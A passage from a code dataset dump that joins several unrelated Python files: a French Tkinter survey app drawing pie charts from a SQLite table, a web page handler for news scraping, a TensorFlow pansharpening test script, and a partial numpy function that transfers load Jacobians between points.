1)\n\n\nE1=Entry(window)\nE1.grid(row=1,column=1, pady = 1, padx = 80)\nE2=Entry(window)\nE2.grid(row=2, column=1, pady = 1)\nE3=Entry(window)\nE3.grid(row=3, column=1, pady = 1)\n\nB1=Button(window,text='continuer',command=continuer)\nB1.grid(row=4, column=1)\n\ndef stat():\n    global nom\n    global prenom\n    global Age\n    global S\n    global A\n    global W\n    global Q\n    global O\n    global k\n    global d\n    global img1\n    global E4\n    global E5\n    global E6\n    global E1\n    global E2\n    global E3\n    global L1\n    global L2\n    global L3\n    global Ll1\n    global Ll2\n    global Ll3\n    \n\n    def stat1():\n\n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Train != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        T=int(Result[0])\n        print(Result[0])\n        print(T)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Train = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nt=int(Resultat[0])\n        print(Resultat[0])\n        print(Nt)\n        connexion.close\n            \n        labels = 'Train', 'Non Train'\n        sizes = [T , Nt]\n        colors = ['yellowgreen', 'gold']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes prenant le train\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart01.png')\n\n        plt.show()\n\n    def stat2():\n\n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Avion != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        A=int(Result[0])\n        print(Result[0])\n        print(A)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Avion = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Na=int(Resultat[0])\n        print(Resultat[0])\n        print(Na)\n        connexion.close\n            \n        labels = 'Avion', 'Non Avion'\n        sizes = [A , Na]\n        colors = ['yellow', 'red']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes prenant l'avion\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart02.png')\n        plt.show()\n\n    def stat3():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Lait != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        L=int(Result[0])\n        print(Result[0])\n\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Lait = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nl=int(Resultat[0])\n        print(Resultat[0])\n\n        connexion.close\n            \n        labels = 'Lait', 'Non Lait'\n        sizes = [L , Nl]\n        colors = ['orange', 'pink']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes buvant du lait ou non\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart03.png')\n        plt.show()\n\n    def stat4():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Rer_metro != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Rer_metro = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Rer_métro', 'Non Rer_métro'\n        sizes = [Rm , Nrm]\n        colors = ['blue', 'purple']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes prenant le RER ou le métro\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart04.png')\n        plt.show()\n\n    def stat5():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE eau != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE eau = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'eau en bouteille', 'eau du robinet'\n        sizes = [Rm , Nrm]\n        colors = ['blue', 'orange']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes buvant de l'eau du robinet\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart05.png')\n        plt.show()\n\n    def stat6():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Télévision != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Télévision = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Télévision', 'Non Télévision'\n        sizes = [Rm , Nrm]\n        colors = ['blue', 'purple']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes ayant une télévision\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart06.png')\n        plt.show()\n        \n    def stat7():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Téléphone != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Téléphone = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Téléphone', 'Non Téléphone'\n        sizes = [Rm , Nrm]\n        colors = ['red', 'purple']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes ayant une téléphone\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart07.png')\n        plt.show()\n\n    def stat8():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Tablette != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Tablette = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Tablette', 'Non Tablette'\n        sizes = [Rm , Nrm]\n        colors = ['red', 'orange']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes ayant une tablette\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart08.png')\n        plt.show()\n\n    def stat9():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Ordinateur != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Ordinateur = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Ordinateur', 'Non Ordinateur'\n        sizes = [Rm , Nrm]\n        colors = ['red', 'purple']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes ayant un ordinateur\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart09.png')\n        plt.show()\n\n    def stat10():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE oeufs != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE oeufs = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'oeufs', 'Non oeufs'\n        sizes = [Rm , Nrm]\n        colors = ['red', 'purple']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes consomant des oeufs\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart10.png')\n        plt.show()\n\n    def stat11():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE viande != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE viande = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'viande', 'Non viande'\n        sizes = [Rm , Nrm]\n        colors = ['red', 'orange']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes consomant de la viande\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart11.png')\n        plt.show()\n\n    def stat12():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Essence != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Essence = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Essence', 'Non Essence'\n        sizes = [Rm , Nrm]\n        colors = ['red', 'blue']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes consomant de l'essence\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart12.png')\n        plt.show()\n\n    def stat13():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Gasoil != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Gasoil = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Gasoil', 'Non Gasoil'\n        sizes = [Rm , Nrm]\n        colors = ['blue', 'orange']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes consomant du gasoil\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart13.png')\n        plt.show()\n\n    def stat14():\n        \n        connexion = sqlite3.connect(\"GP21.db\")\n        curseur = connexion.cursor()\n        result = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Bus != ? \",(\"0\"))\n        connexion.commit\n        Result=curseur.fetchone()\n        Rm=int(Result[0])\n        print(Result[0])\n        print(Rm)\n        \n        resultat = curseur.execute(\"SELECT COUNT ( * ) FROM Test_progra_3 WHERE Bus = ? \",(\"0\"))\n        connexion.commit\n        Resultat=curseur.fetchone()\n        Nrm=int(Resultat[0])\n        print(Resultat[0])\n        print(Nrm)\n        connexion.close\n            \n        labels = 'Bus', 'Non Bus'\n        sizes = [Rm , Nrm]\n        colors = ['green', 'red']\n        explode = (0.1, 0.3)\n\n        plt.pie(sizes, labels=labels,explode=explode, colors=colors, \n                autopct='%1.1f%%', shadow=True, startangle=90)\n\n        plt.title(\"Pourcentage de personnes prenant le bus\")\n\n        plt.axis('equal')\n        plt.savefig('PieChart14.png')\n        plt.show()\n\n\n\n\n\n    d=d+1   \n        \n    for widget in window.winfo_children():\n        widget.destroy()\n\n    B1 =Button(window,command=stat1,text=\"statistiques concernant le train\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B1.grid(row=0,pady=4)\n\n    B2 =Button(window,command=stat2,text=\"statistiques concernant l'avion\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B2.grid(row=1,pady=4)\n\n    B3 =Button(window,command=stat3,text=\"statistiques concernant le lait\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B3.grid(row=2,pady=4)\n\n    B4 =Button(window,command=stat4,text=\"statistiques concernant le rer et le métro\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B4.grid(row=3,pady=4)\n\n    B5 =Button(window,command=stat5,text=\"statistiques concernant l'eau\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B5.grid(row=4,pady=4)\n\n    B6 =Button(window,command=stat6,text=\"statistiques concernant la télévision\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B6.grid(row=5,pady=4)\n\n    B7 =Button(window,command=stat7,text=\"statistiques concernant le téléphone\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B7.grid(row=6,pady=4)\n\n    B8 =Button(window,command=stat8,text=\"statistiques concernant les tablettes\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B8.grid(row=7,pady=5)\n\n    B9 =Button(window,command=stat9,text=\"statistiques concernant les ordinateurs\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B9.grid(row=8,pady=5)\n\n    B10 =Button(window,command=stat10,text=\"statistiques concernant les oeufs\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B10.grid(row=9,pady=5)\n\n    B11 =Button(window,command=stat11,text=\"statistiques concernant la viande\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B11.grid(row=10,pady=5)\n\n    B12 =Button(window,command=stat12,text=\"statistiques concernant l'essence\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B12.grid(row=11,pady=5)\n\n    B13 =Button(window,command=stat13,text=\"statistiques concernant le gasoil\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B13.grid(row=12,pady=5)\n\n    B14 =Button(window,command=stat14,text=\"statistiques concernant le bus\",bd=5,overrelief=GROOVE,padx=800,font=LARGE_FONT)\n    B14.grid(row=13,pady=5)\n\n    B15 =Button(window,command=retour,text=\"retour\",bd=5,overrelief=GROOVE,bg='cyan')\n    B15.grid(row=14,pady=5)\n                                    \n\n    \n\n    \n\n    \n\n    \n\n    \n    \n                               \ntttn =Button(window,command=stat,text=\"statistiques\",bd=5,overrelief=GROOVE)\ntttn.grid(row=4, pady = 25)\n\nLARGE_FONT = (\"Verdana\", 12)\n\nLARGE_FON = (\"Verdana bold\", 15)\n\n\nwindow.mainloop()\n\n","repo_name":"Ramel2000/Ramel2000","sub_path":"Questionnaire_Python_DbBrowser/Main Program.py","file_name":"Main Program.py","file_ext":"py","file_size_in_byte":57363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7205304230","text":"from exceptions.content_exception import ContentTypeException\nfrom exceptions.response_exception import ResponseException\nfrom logger.logger import LogDecorator\n\n\nclass PageHandler:\n    \"\"\"This is a class for handle web pages for some pretty style.\"\"\"\n\n    def __init__(self, requester, parser, scrap_config):\n        \"\"\"\n        The constructor for PageHandler class\n\n        :param requester: class that is responsible for web page requests\n        :param parser: class that is responsible for web page requests\n        :param scrap_config: config with info about template\n        \"\"\"\n        self.requester = requester\n        self.parser = parser\n        self.config = scrap_config\n\n    @LogDecorator()\n    def handle(self, url):\n        \"\"\"\n        The function for take and transform web page\n\n        :param url: web page address\n        :return: text from a web page in template format\n        \"\"\"\n        response = self.__take_page(url)\n        parser = self.parser(self.config)\n\n        if getattr(self.parser, \"parse\"):\n            parser.parse(response.text)\n        else:\n            raise NotImplementedError(\"The parser does not match the declared interface\")\n\n        return parser.text\n\n    @LogDecorator()\n    def __take_page(self, url):\n        \"\"\"\n        The function for take web page\n\n        :param url: web page address\n        :return: response from server\n        \"\"\"\n        requester = self.requester()\n        if getattr(self.requester, \"get\"):\n            response = requester.get(url)\n        else:\n            raise NotImplementedError(\"The requester does not match the declared interface\")\n\n        if response.status_code != 200:\n            raise ResponseException({\"message\": f\"Response code {response.status_code}.\"})\n\n        if \"text/html\" not in response.headers['content-type']:\n            raise ContentTypeException({\"message\": \"Result not html text as expected.\"})\n\n        return response\n","repo_name":"SnetkovR/news_scraping","sub_path":"page_handler.py","file_name":"page_handler.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7192171585","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 21 11:43:18 2021\r\n\r\n@author: KunLi\r\n\"\"\"\r\n \r\nimport os\r\nimport numpy as np\r\nimport scipy.io as sio\r\n\r\n\r\n# we give 2 test examples  (from GF2 satellite)\r\nms_path  = './data'                                  \r\nms_file_list = os.listdir(ms_path)                                                          \r\nms_file_list.sort(key=lambda x:int(x.split('.')[0].split('GF2_300_')[1]))        \r\n \r\nused_ms   = []\r\nused_pan  = []\r\nused_ref  = []\r\n\r\nfor file in ms_file_list:                                                                  \r\n    if not os.path.isdir(file):                                                             \r\n        mat_data = sio.loadmat(ms_path+\"/\"+file)                                           \r\n        \r\n        mat_ms   = mat_data['I_MS_LR']   \r\n        used_ms.append(mat_ms)\r\n        \r\n        mat_pan   = mat_data['I_PAN_LR'] \r\n        used_pan.append(mat_pan) \r\n        \r\n        mat_ref   = mat_data['Ref'] \r\n        used_ref.append(mat_ref) \r\n\r\n\r\n# -------------------------------------------------------------------\r\nmodel_path = './checkpoint/'            \r\nsave_path  = 'test_1/'    # provide a folder name to save test result according to test dataset\r\n\r\nimport os\r\nimport cv2\r\nimport numpy as np\r\nimport scipy.io as sio    \r\nimport tensorflow as tf\r\n\r\nfrom utils        import downgrade_images\r\nfrom fusion_net   import vp_net, compute_cost   \r\nfrom metrics      import ref_evaluate , no_ref_evaluate                     \r\n     \r\n\r\n\r\ntf.reset_default_graph() \r\nPhaseNumber =7\r\ntest_label = np.zeros((300, 300, 4), dtype = 'float32')\r\n\r\nX_output = tf.placeholder(tf.float32, shape=(1, 300,    300,    4))                       \r\nP_input  = tf.placeholder(tf.float32, shape=(1, 300,    300,    1))                           \r\nM_input  = tf.placeholder(tf.float32, shape=(1, 75,     75,     4))  \r\n\r\n\r\nPredX , ListX  ,Q  = vp_net( PhaseNumber, M_input, P_input, X_output )           \r\n\r\nconfig = tf.ConfigProto(allow_soft_placement=True,log_device_placement=True)\r\nconfig.gpu_options.allow_growth = True\r\nsaver = tf.train.Saver(max_to_keep = 5)\r\n\r\nimport time\r\ntime_all =[]\r\nwith tf.Session(config=config) as sess:  \r\n      \r\n   ckpt = tf.train.latest_checkpoint(model_path)\r\n   saver.restore(sess, ckpt) \r\n   \r\n   \r\n   # for num in range(5): \r\n   for num in range(len(used_pan)):\r\n\r\n       HR_Ref  =  used_ref[num]                     # GT  真值   全都已经归一化 下采样了\r\n       \r\n       LR_ms   =  used_ms[num]\r\n       LR_pan  =  used_pan[num]     \r\n       LR_pan  = np.expand_dims(LR_pan, -1) \r\n       \r\n       LR_ms_test  = np.expand_dims(LR_ms, 0)\r\n       LR_pan_test = np.expand_dims(LR_pan, 0)\r\n       \r\n       batch_M = LR_ms_test \r\n       batch_P = LR_pan_test\r\n       \r\n       time_start = time.time() \r\n\r\n       one , _ = sess.run([PredX[-1], ListX[-1]], feed_dict={M_input: batch_M,  P_input: batch_P} )\r\n \r\n   \r\n       time_end = time.time()     \r\n       time_c   = time_end - time_start   \r\n       print('time cost', time_c, 's')   \r\n       \r\n       time_all.append(time_c) \r\n       \r\n       one = np.clip(one, 0, 1)   \r\n       \r\n       test_label = one[0,:,:,:]\r\n       print('test_label',test_label.shape)\r\n        \r\n       save_testimage_dir='./test_imgs/' +save_path\r\n\r\n       save_test_mat_dir='./test_mats/' +save_path\r\n\r\n       if not os.path.exists(save_testimage_dir):\r\n           os.makedirs(save_testimage_dir)\r\n       if not os.path.exists(save_test_mat_dir):\r\n           os.makedirs(save_test_mat_dir)\r\n    \r\n       cv2.imwrite (save_testimage_dir +'%d_test.png'%(num+1) ,np.uint8(255*test_label)[:, :, [0,1,2]] )    \r\n       cv2.imwrite (save_testimage_dir +'%d_ms.png'%(num+1) ,  np.uint8(255*HR_Ref)    [:, :, [0,1,2]] ) \r\n       \r\n        # save mat\r\n       sio.savemat (\r\n           save_test_mat_dir  +'Variation_%d.mat'%(num+1), \r\n           { 'ref':np.uint8(255*HR_Ref), 'fusion':np.uint8(255*test_label)}\r\n        )\r\n       \r\n       \r\n\r\n       gt = HR_Ref \r\n       ref_results={}\r\n       ref_results.update({'metrics: ':'  PSNR,   SSIM,   SAM,   ERGAS,  SCC,     Q,     RMSE'})\r\n       no_ref_results={}\r\n       no_ref_results.update({'metrics: ':'  D_lamda, D_s,    QNR'})\r\n       \r\n       temp_ref_results    = ref_evaluate( np.uint8(255*test_label), np.uint8(255*HR_Ref) )   \r\n       temp_no_ref_results = no_ref_evaluate( test_label,  LR_pan ,  LR_ms )    \r\n        \r\n       ref_results   .update({'xxx     ':temp_ref_results})\r\n       no_ref_results.update({'xxx     ':temp_no_ref_results})\r\n       \r\n       save_testlog_dir='./test_logs/' + save_path \r\n       if not os.path.exists(save_testlog_dir):\r\n           os.makedirs(save_testlog_dir)\r\n       lk_output_file_ref    = save_testlog_dir+\"ref_test_1.txt\"              \r\n       lk_output_file_no_ref = save_testlog_dir+\"no_ref_test_1.txt\"  \r\n       \r\n      \r\n       print('################## reference  #######################')\r\n       for index, i in enumerate(ref_results):\r\n           if index == 0:\r\n               print(i, ref_results[i])\r\n       else:    \r\n               print(i, [round(j, 4) for j in ref_results[i]])\r\n               \r\n               \r\n               list2str= str([ round(j, 4) for j in ref_results[i] ])\r\n               list2str= ('%d  '+ list2str+'\\n')%(num+1) \r\n               lk_output_file = open(lk_output_file_ref, 'a')\r\n               lk_output_file.write(list2str)\r\n               lk_output_file.close()  \r\n       \r\n       print('################## no reference  ####################')\r\n      \r\n       for index, i in enumerate(no_ref_results):\r\n            if index == 0:\r\n                print(i, no_ref_results[i])\r\n            else:    \r\n                print(i, [round(j, 4) for j in no_ref_results[i]])\r\n               \r\n               \r\n                list2str= str([ round(j, 4) for j in no_ref_results[i] ])     \r\n                list2str=('%d  '+ list2str+'\\n')%(num+1) \r\n                lk_output_file = open(lk_output_file_no_ref, 'a')\r\n                lk_output_file.write(list2str)\r\n                lk_output_file.close()  \r\n       print('#####################################################')\r\n       \r\n                \r\n       \r\n     \r\n   print('test finished')\r\n \r\n","repo_name":"likun97/VP-Net","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6210,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"77"}
+{"seq_id":"45454984556","text":"import numpy as np\r\n\r\ndef skew(x):\r\n    \"\"\" Returns the skew symmetric matrix M, such that: cross(x,v) = M v \r\n    [ 0, -z , y]\r\n    [ z,  0 ,-x]\r\n    [-y,  x , 0]\r\n    \"\"\"\r\n    x=np.asarray(x).ravel()\r\n    return np.array([[0, -x[2], x[1]],[x[2],0,-x[0]],[-x[1],x[0],0]])\r\n\r\n\r\ndef translateLoadsJacobian(JS, r0, FS0, method='matrix', sj0=None, j_is_k=False, undisplaced=True):\r\n    \"\"\" \r\n    Transfer Jacobians of loads at a source point \"S\" to a destination point \"D\"\r\n    assuming a rigid body motion between the source and destination point\r\n\r\n    INPUTS:\r\n    - JS: Jacobian of loads at the source point, 6x6 array dF_S/dx_S\r\n          where F_S  = (f_x, f_y, f_z, m_x, m_y, m_z)_S\r\n          where dx_S = (dx, dy, dz, dt_x, dt_y, dt_z)_S (displacement and small rotations)\r\n    - r0 = rS-rD : 3-vector from the destination point to the source point\r\n    - FS0: 3-vector of the operating point forces at the source node\r\n\r\n    OUTPUTS:\r\n    - JD: Jacobian of loads at the source point, 6x6 array dF_S/dx_S\r\n\r\n    Reference:\r\n       See Branlard, Jonkman, Brown to be published 2022\r\n\r\n    \"\"\"\r\n    r0til  = skew(r0)\r\n    FS0til = skew(FS0)\r\n    if method=='matrix':\r\n        I3 = np.eye(3)\r\n        Z3 = np.zeros((3,3))\r\n        if sj0 is not None:\r\n            # Multiple points\r\n            sj0til  = skew(sj0)\r\n            T1 = np.block([ [ I3   ,  Z3 ],\r\n                            [ r0til,  I3 ]])\r\n            T2 = np.block([ [ I3   ,-sj0til ],\r\n                            [ Z3   ,  I3 ]])\r\n\r\n\r\n\r\n            if j_is_k:\r\n                T3 = np.block([ [ Z3   ,  Z3 ],\r\n                                [ Z3   ,  FS0til.dot(r0til) ] ]) # TODO\r\n            else:\r\n                T3 = np.block([ [ Z3   ,  Z3 ],\r\n                                [ Z3   ,  Z3 ] ]) # TODO\r\n            JD = T1.dot(JS.dot(T2)) + T3\r\n            if undisplaced and j_is_k:\r\n                JD[3:6,0:3] += -FS0til\r\n\r\n        else:\r\n            T1 = np.block([ [ I3   ,  Z3 ],\r\n                            [ r0til,  I3 ]])\r\n            T2 = np.block([ [ I3   ,-r0til ],\r\n                            [ Z3   ,  I3 ]])\r\n            T3 = np.block([ [ Z3   ,  Z3 ],\r\n                            [ Z3   ,  FS0til.dot(r0til) ] ]) \r\n            JD = T1.dot(JS.dot(T2)) + T3\r\n    else:\r\n        # component by component (for debugging)\r\n        dFdU  = JS[0:3, 0:3]\r\n        dMdU  = JS[3:6, 0:3]\r\n        dFdT  = JS[0:3, 3:6]\r\n        dMdT  = JS[3:6, 3:6]\r\n        if sj0 is not None:\r\n            sj0til  = skew(sj0)\r\n            dFdUD = dFdU\r\n            dFdTD = dFdT - dFdU.dot(sj0til)\r\n            dMdUD = dMdU + r0til.dot(dFdU) \r\n            if undisplaced and j_is_k:\r\n                dMdUD += FS0til\r\n\r\n            #print('dMdU',dMdU[1,0],(r0til.dot(dFdU))[1,0],dMdUD[1,0])\r\n         \r\n            #dMdTD = dMdT - dMdU.dot(r0til) + r0til.dot(dFdT) - r0til.dot(dFdU).dot(r0til)  + FS0til.dot(r0til)\r\n            C1 = dMdT \r\n            C2 =      - dMdU.dot(sj0til) \r\n            C3 =                        + r0til.dot(dFdT)\r\n            C4 =                                          - r0til.dot(dFdU.dot(sj0til))\r\n            if j_is_k:\r\n                C5 =                                                                        + FS0til.dot(r0til)\r\n            else:\r\n                C5=np.zeros((3,3))\r\n            dMdTD = np.zeros((3,3))\r\n            dMdTD +=  C1\r\n            dMdTD +=  C2\r\n            dMdTD +=  C3\r\n            dMdTD +=  C4\r\n            dMdTD +=  C5\r\n        else:\r\n            raise Exception('Temporary stopped')\r\n            dFdUD = dFdU\r\n            dFdTD = dFdT - 